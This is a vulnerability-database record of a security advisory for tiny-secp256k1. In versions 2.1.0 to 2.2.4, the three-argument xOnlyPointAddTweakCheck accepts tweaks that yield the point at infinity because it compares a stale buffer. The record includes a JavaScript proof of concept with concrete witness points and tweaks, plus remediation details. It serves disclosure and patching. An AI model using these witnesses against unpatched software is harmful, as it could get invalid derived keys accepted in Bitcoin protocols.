{"id":"CVE-2026-107853","aliases":["GHSA-hj9c-qx2w-g7mh"],"url":"https://o3.security/vulnerability/CVE-2026-107853","summary":"tiny-secp256k1: Stale buffer after ignored wasm failure accepts invalid infinity tweak","details":"### Summary\nThe three-argument `xOnlyPointAddTweakCheck` path ignores the wasm failure return and compares an unchanged input buffer. When the tweak result is the point at infinity, this stale-buffer comparison can return `true` for an invalid derivation.\n\n### Details\n`xOnlyPointAddTweakCheck` in `index.ts` has two code paths. The path taken when the caller omits `tweakParity` discards the return value of the wasm call and compares whatever the shared input buffer holds.\n\n```ts\ntry {\n    X_ONLY_PUBLIC_KEY_INPUT.set(point);\n    X_ONLY_PUBLIC_KEY_INPUT2.set(resultToCheck);\n    TWEAK_INPUT.set(tweak);\n    if (hasParity) {\n      return wasm.xOnlyPointAddTweakCheck(tweakParity) === 1;\n    } else {\n      wasm.xOnlyPointAddTweak();\n      const newKey = X_ONLY_PUBLIC_KEY_INPUT.slice(\n        0,\n        validate.X_ONLY_PUBLIC_KEY_SIZE\n      );\n      return compare(newKey, resultToCheck) === 0;\n    }\n```\n\n`x_only_point_add_tweak` in `lib.rs` returns `-1` and leaves `X_ONLY_PUBLIC_KEY_INPUT` untouched when the tweak addition fails.\n\n```rust\npub extern \"C\" fn x_only_point_add_tweak() -> i32 {\n    unsafe {\n        let mut xonly_pk = jstry!(x_only_pubkey_parse(X_ONLY_PUBLIC_KEY_INPUT.as_ptr()), 0);\n        let mut pubkey = PublicKey::new();\n        if secp256k1_xonly_pubkey_tweak_add(\n            get_context(),\n            &mut pubkey,\n            &xonly_pk,\n            TWEAK_INPUT.as_ptr(),\n        ) != 1\n        {\n            // infinity point\n            return -1;\n        }\n```\n\nThe buffer still holds `point`, which the caller wrote immediately before the call. `newKey` therefore equals `point`, and the comparison against `resultToCheck` succeeds whenever the caller passes `resultToCheck` equal to `point`.\n\n`secp256k1_xonly_pubkey_tweak_add` in upstream `main_impl.h` returns 0 only when the internal key fails to load or the tweak helper fails.\n\n```c\nif (!secp256k1_xonly_pubkey_load(ctx, &pk, internal_pubkey)\n    || !secp256k1_ec_pubkey_tweak_add_helper(&pk, tweak32)) {\n    return 0;\n}\n```\n\nThe helper in `secp256k1.c` fails on scalar overflow or on an infinite result.\n\n```c\nstatic int secp256k1_ec_pubkey_tweak_add_helper(secp256k1_ge *p, const unsigned char *tweak32) {\n    secp256k1_scalar term;\n    int overflow = 0;\n    secp256k1_scalar_set_b32(&term, tweak32, &overflow);\n    return !overflow && secp256k1_eckey_pubkey_tweak_add(p, &term);\n}\n```\n\n`validateTweak` in `validate.ts` already rejects a tweak at or above the group order, so overflow is excluded and the only remaining cause is `lift_x(point) + tweak * G` reaching the point at infinity.\n\nThe parity path is correct for the same input. `secp256k1_xonly_pubkey_tweak_add_check` returns 0 in that case. The two documented forms of the same check disagree.\n\n`xOnlyPointAddTweak` also disagrees with the check, returning `null` for the exact inputs the check accepts.\n\nThe condition is untested. `schnorr.js` skips every `xOnlyPointAddTweakCheck` assertion for the infinity vectors present in its own fixtures.\n\n```js\nconst res = secp256k1.xOnlyPointAddTweak(f.pubkey, f.tweak);\nif (f.result === null) {\n  t.same(res, f.result, `xOnlyPointAddTweak returns null when G pubkey and n - 1 tweak used`);\n  continue;\n}\n```\n\n### PoC\nBoth witnesses are already present in the project fixtures at `schnorr.json` as the two vectors with a null result, and both pass every validator in `validate.ts`.\n\n```js\nimport * as secp256k1 from \"tiny-secp256k1\";\n\nconst hex = (s) => Uint8Array.from(Buffer.from(s, \"hex\"));\n\n// x coordinate of G, and the tweak n - 1\nconst point = hex(\"79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\");\nconst tweak = hex(\"fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364140\");\n\n// lift_x(point) + tweak * G is the point at infinity, no tweaked key exists\nconsole.log(secp256k1.xOnlyPointAddTweak(point, tweak));\n// null\n\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point, 0));\n// false   correct, the parity form uses the C check\n\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point));\n// true    wrong, the three argument form compares point against itself\n```\n\nA second witness from the same fixture uses the x coordinate of `2 * G` with tweak `n - 2`.\n\n```js\nconst point2 = hex(\"c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\");\nconst tweak2 = hex(\"fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036413f\");\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point2, tweak2, point2));   // true\n```\n\nBoth were executed against the published `secp256k1.wasm` from npm 2.2.4 under `wasmtime`, driving the exports through the exact write, call, slice, zero sequence `index.ts` performs.\n\n```\n-- witness x(G), n-1\n   xOnlyPointAddTweak(P, t)      = None\n   check(P, t, P, parity=0)      = False\n   check(P, t, P, parity=1)      = False\n   check(P, t, P)   3-arg form   = True\n   raw wasm return               = -1\n   buffer after call unchanged   = True 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\n\n-- witness x(2G), n-2\n   xOnlyPointAddTweak(P, t)      = None\n   check(P, t, P, parity=0)      = False\n   check(P, t, P, parity=1)      = False\n   check(P, t, P)   3-arg form   = True\n   raw wasm return               = -1\n   buffer after call unchanged   = True c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\n\n-- control, ordinary tweak 5 on x(G)\n   xOnlyPointAddTweak            = (1, 'fff97bd5755eeea420453a14355235d382f6472f8568a18b2f057a1460297556')\n   check 3-arg with correct result = True\n   check 3-arg with wrong result   = False\n```\n\nThe control confirms the three argument form is otherwise correct, so the defect is specific to the failure path.\n\nAn attacker generated witness follows the same construction with a hash derived tweak.\n\n```\ntweak = 2ae431167097f01e131d3e3fd000044e79eb64f5391d594ec311d4a56a38c1e3\npoint = d14530c85d0169da4e4be4642f2cdaad14fb0421b690df617d00366b5f1ca832\nlift_x(point) + tweak * G = infinity\nxOnlyPointAddTweakCheck(point, tweak, point) === true\n```\n\n### Impact\nThe three-argument helper can return `true` for an internal key and tweak whose derived point is at infinity. Protocols that use this result to validate a derived output can accept an invalid key when the caller controls the point, tweak, and comparison value.\n\n### Affected versions\n\n- `tiny-secp256k1`: 2.1.0 through 2.2.4.\n- `@bitcoin-js/tiny-secp256k1-asmjs`: 2.2.2 through 2.2.4.\n\nThe `xOnlyPointAddTweakCheck` API first appears in tiny-secp256k1 2.1.0. Static inspection of the integrity-checked asm.js releases confirms the same ignored return value and unchanged-buffer path when the tweak result is infinity. The WASM reproduction above is not an asm.js runtime measurement.\n\n### Remediation\n\nUpgrade `tiny-secp256k1` and `@bitcoin-js/tiny-secp256k1-asmjs`, as applicable, to 2.2.5 or a later patched release. The path without `tweakParity` now checks the backend's failure result before reading and comparing the output buffer. A tweak that produces the point at infinity returns `false`.\n\n### References\n\n- [Fix: Reject failed infinity tweaks before comparing the output](https://github.com/bitcoinjs/tiny-secp256k1/commit/ba1af1fceea95967a172c6438ed9302730bb7c01)","published":"2026-11-17T19:23:43.255Z","modified":"2026-11-19T20:45:29.969033387Z","cvss":null,"epss":{"score":0.00291,"percentile":0.22121,"asOf":"2026-11-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"tiny-secp256k1","fixedVersion":"2.2.5"},{"ecosystem":"npm","name":"@bitcoin-js/tiny-secp256k1-asmjs","fixedVersion":"2.2.5"}],"fix":{"url":"https://github.com/bitcoinjs/tiny-secp256k1/commit/ba1af1fceea95967a172c6438ed9302730bb7c01","label":"bitcoinjs/tiny-secp256k1@ba1af1f"},"references":[{"type":"WEB","url":"https://github.com/bitcoinjs/tiny-secp256k1/releases/tag/v2.2.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107853.json"},{"type":"ADVISORY","url":"https://github.com/bitcoinjs/tiny-secp256k1/security/advisories/GHSA-hj9c-qx2w-g7mh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107853"},{"type":"FIX","url":"https://github.com/bitcoinjs/tiny-secp256k1/commit/ba1af1fceea95967a172c6438ed9302730bb7c01"},{"type":"PACKAGE","url":"https://github.com/bitcoinjs/tiny-secp256k1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T20:45:29.969033387Z"}}